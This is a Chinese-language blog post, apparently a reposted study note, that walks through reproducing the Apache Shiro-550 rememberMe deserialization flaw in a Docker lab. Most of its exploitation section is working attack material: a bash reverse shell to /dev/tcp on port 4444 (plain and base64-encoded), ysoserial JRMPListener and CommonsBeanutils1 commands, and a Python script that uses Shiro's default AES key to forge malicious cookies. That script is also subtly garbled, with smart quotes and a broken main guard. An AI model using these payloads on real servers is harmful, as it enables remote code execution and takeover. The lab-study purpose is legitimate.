前言
最近一直在整理筆記,恰好碰到實習時遇到的Shiro反序列化漏洞,本著溫故而知新的思想,就照著前輩們的文章好好研究了下,整理整理筆記并發個文章,
1、Apache Shiro介紹
Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理,使用Shiro易于理解的API,開發者可以快速、輕松地獲得任何應用程式,從最小的移動應用程式到最大的網路和企業應用程式,

2、Shiro rememberMe反序列化漏洞(Shiro-550)
2.1 受影響版本
Apache Shiro <=1.2.4
2.2 特征判斷
回傳包中含有rememberMe=deleteMe欄位
2.3 漏洞原理
在Shiro <= 1.2.4中,反序列化程序中所用到的AES加密的key是硬編碼在原始碼中,當用戶勾選RememberMe并登錄成功,Shiro會將用戶的cookie值序列化,AES加密,接著base64編碼后存盤在cookie的rememberMe欄位中,服務端收到登錄請求后,會對rememberMe的cookie值進行base64解碼,接著進行AES解密,然后反序列化,由于AES加密是對稱式加密(key既能加密資料也能解密資料),所以當攻擊者知道了AES key后,就能夠構造惡意的rememberMe cookie值從而觸發反序列化漏洞,
3、漏洞復現
3.1 環境搭建
//獲取docker鏡像
docker pull medicean/vulapps:s_shiro_1
//啟動容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

2021最新整理網路安全/滲透測驗/安全學習/100份src技術檔案(全套視頻、CTF、大廠面經、精品手冊、必備工具包、路線)一>獲取<一
3.2 工具準備
3.2.1 配置maven
1、下載maven
http://maven.apache.org/download.cgi
2、配置win10 maven環境變數以及idea maven環境
https://zhuanlan.zhihu.com/p/48831465
3.2.2 下載ysoserial工具并打包
下載地址:https://github.com/frohoff/ysoserial
打包完的ysoserial在ysoserial/target檔案中
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests


PS:終于打包完了,沒想到Maven源換成了阿里云的速度還是有點慢,
3.3 漏洞檢測
這里使用shiro_tool.jar工具檢測Shiro是否存在默認的key,
java -jar shiro_tool.jar http://192.168.31.81:8080/
3.4 漏洞利用
3.4.1 方式一:nc反彈shell
1、制作反彈shell代碼
首先,在kali中通過nc監聽本地埠,
nc -lvp 4444
接著利用Java Runtime配合bash編碼,
bash -i >& /dev/tcp/192.168.31.81/4444 0>&1
結果:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
2、通過ysoserial工具中的JRMP監聽模塊,監聽6666埠并執行反彈shell命令,
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
3、利用檢測出的AES密鑰,生成payload
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen([‘java’, ‘-jar’, ‘ysoserial-0.0.6-SNAPSHOT-all.jar’, ‘JRMPClient’, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if name == ‘main’:
payload = encode_rememberme(sys.argv[1])
print “rememberMe={0}”.format(payload.decode())
Python2用pip安裝Crypto的程序中,出現了各種問題,最主要的問題就是各種報缺少Crypto.Cipher模塊的錯誤,Google百度網上找了一大堆,瘋狂pip安裝卸載,都無法解決,后來索性采取了手動安裝Crypto模塊,最后終于解決,
問題一:ImportError: No module named Crypto.Cipher
——>手動下載Crypto包進行安裝
下載地址:https://pypi.org/simple/pycrypto/
問題二:
error: command ‘x86_64-linux-gnu-gcc‘ failed with exit status 1
——>安裝依賴庫解決:
apt-get install build-essential python-dev libssl-dev libffi-dev libxml2 libxml2-dev libxslt1-dev zlib1g-dev
使用test_shiro550.py,生成payload
python test_shiro550.py 192.168.31.81:6666

4、利用生成的rememberMe值構造資料包,偽造cookie,發送請求,

5、查看nc監聽結果,反彈shell成功,

nc成功反彈shell,whoami命令查詢為root權限,
3.4.2 方式二:命令執行
1、使用ysoserial工具生成poc
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "echo 'test shiro-550' > /tmp/SUCCESS" > poc
2、使用Shiro默認AES Key對payload進行加密

3、brupsuite抓包,發送帶有偽造的rememberMe Cookie的請求,

4、查看目標服務器的/tmp目錄,確認生成了SUCCESS檔案,

5、總結
Shiro-550漏洞產生的根本原因就是因為AES加密的key硬編碼在原始碼中,從而可以被攻擊者利用泄露的AES key偽造rememberMe欄位生成cookie值,導致反序列化漏洞,因此,服務器端對cookie值的處理程序反過來就是payload的產生程序:命令=>進行序列化=>AES加密=>base64編碼=>產生RememberMe Cookie值,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/317749.html
標籤:其他

